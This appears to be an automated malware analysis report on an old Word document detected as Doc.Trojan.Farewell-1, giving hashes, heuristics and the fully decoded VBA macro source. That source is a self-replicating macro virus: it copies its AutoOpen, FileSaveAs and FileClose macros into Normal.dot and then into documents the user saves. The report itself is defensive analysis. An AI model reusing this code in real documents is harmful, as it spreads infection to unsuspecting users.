Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 67651b3e47e6312e…

MALICIOUS

Office (OLE)

32.0 KB Created: 1980-01-11 07:21:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d2578868b7522583708e0125c8307636 SHA-1: 1bc39bd2c2642c93cd8e56bd471e27a6dd3ce09e SHA-256: 67651b3e47e6312e1a45de6399d1dc96ca5457b500bb14f60e17ba58af9fd202
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically an AutoOpen macro, which is a common technique for malicious documents. The script attempts to copy itself and other macros to the Normal.dot template, indicating a persistence or propagation mechanism. The ClamAV detection also confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Farewell-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Farewell-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2938 bytes
SHA-256: 394c92a90daca7b9529c99dd18e5b1d81ea6260ee9747366f755a7250f737bff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim IsThisMacro$
IsThisMacro$ = WordBasic.[MacroFileName$]("AutoOpen")
IsThisMacro$ = WordBasic.[FileNameInfo$](IsThisMacro$, 3)

If IsThisMacro$ <> "Normal.dot" Then

IsThisMacro$ = WordBasic.[MacroFileName$]("FileSaveAs")
IsThisMacro$ = WordBasic.[FileNameInfo$](IsThisMacro$, 3)
WordBasic.MsgBox IsThisMacro$
If IsThisMacro$ <> "Normal.dot" Then
 WordBasic.MsgBox "This is Autopen Macro!", 32
 Dim SourceName$

 SourceName$ = WordBasic.[FileName$]() + ":AutoOpen"
 WordBasic.MacroCopy SourceName$, "Normal:AutoOpen"

 SourceName$ = WordBasic.[FileName$]() + ":FileSaveAS"
 WordBasic.MacroCopy SourceName$, "Normal:FileSaveAs"


 SourceName$ = WordBasic.[FileName$]() + ":FileClose"
WordBasic.MsgBox SourceName$
 WordBasic.MacroCopy SourceName$, "Normal:FileClose"

WordBasic.FileSaveAll 1, 1
 Else
  WordBasic.MsgBox "Macro Is Not Found!", 16
End If
End If
End Sub

Attribute VB_Name = "FileSaveAs"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Ñîõðàíåíèå äîêóìåíòà ïîä äðóãèì èìåíåì, â äðóãîì ôîðìàòå èëè ñ äðóãèì ïàðîëåì"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileSaveAs.MAIN"
Dim InfectMacro1$
Dim InfectMacro2$
Dim InfectMacro3$
Dim OnlyName$
Dim noExtension$
Dim InfectName$
 Dim InfectMacro$
 Dim MyString$
 Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error Resume Next
 WordBasic.CurValues.FileSaveAs dlg
 WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then
WordBasic.MsgBox "This is the WordDocument Format!"
 InfectMacro1$ = ":AutoOpen"
 InfectMacro2$ = ":FileSaveAs"
 InfectMacro3$ = ":FileClose"

 OnlyName$ = WordBasic.[FileNameInfo$](dlg.Name, 4)
 noExtension$ = WordBasic.[FileNameInfo$](dlg.Name, 4 + 1)
 InfectName$ = noExtension$ + OnlyName$ + ".doc"
 MyString$ = InfectName$ + InfectMacro1$

 WordBasic.FileSaveAs Name:=InfectName$, Format:=1
 WordBasic.MacroCopy "Normal:AutoOpen", MyString$
 MyString$ = InfectName$ + InfectMacro2$
 WordBasic.MacroCopy "Normal:FileSaveAs", MyString$

 MyString$ = InfectName$ + InfectMacro3$
WordBasic.MsgBox MyString$
 WordBasic.MacroCopy "Normal:FileClose", MyString$
 WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Okay"

End If
End Sub

Attribute VB_Name = "FileClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Çàêðûòèå âñåõ îêîí àêòèâíîãî äîêóìåíòà"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.FileClose.MAIN"
WordBasic.FileClose
WordBasic.MsgBox "Good By User!"
WordBasic.Beep 16
End Sub

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